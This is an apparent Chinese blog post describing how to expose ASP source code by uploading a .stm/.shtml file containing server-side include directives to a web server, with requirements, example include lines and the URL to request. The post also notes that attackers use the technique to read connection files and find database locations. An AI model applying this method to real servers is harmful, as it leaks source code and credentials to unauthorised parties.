一种察看asp源代码的思路

方法很简单,我们知道,一般在asp中应用文件时一般采用

<!--#include virtual="/file.asp"-->

<!--#include file="file.asp"-->

    两种方式,通过stm文件,是可以直接将asp文件的源 代码直接输出到客户浏览器中。
     要求:
    1、 服务器端要有shtml脚本映射
    2、可以向 服务器写入.stm/.shtm/.shtml后缀文件
    3、知道想察看文件的文件名及相对位置
     举例:
    向 服务器目录写入test.stm文件

<!--#include virtual="/news/index.asp"-->
或者
<!--#include file="index.asp"-->

     注意:使用“virtual=”时,要指定文件对于根的相对位置,而使用“file=”的时候,需要指定文件对于上传目录,即test.stm的相对位置。
    在浏览器输入 _blank> http://www.xxx.com/news/test.stm,察看源 代码,即可以看到index.asp文件的源 代码。当然,我们也可以写入多个文件,来一次察看多个文件的源 代码
    也有很多朋友把这个方法用在 攻击上,用来查看conn等文件的内容,从而获得 数据库位置,都一样!主要是自己灵活应用了!
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值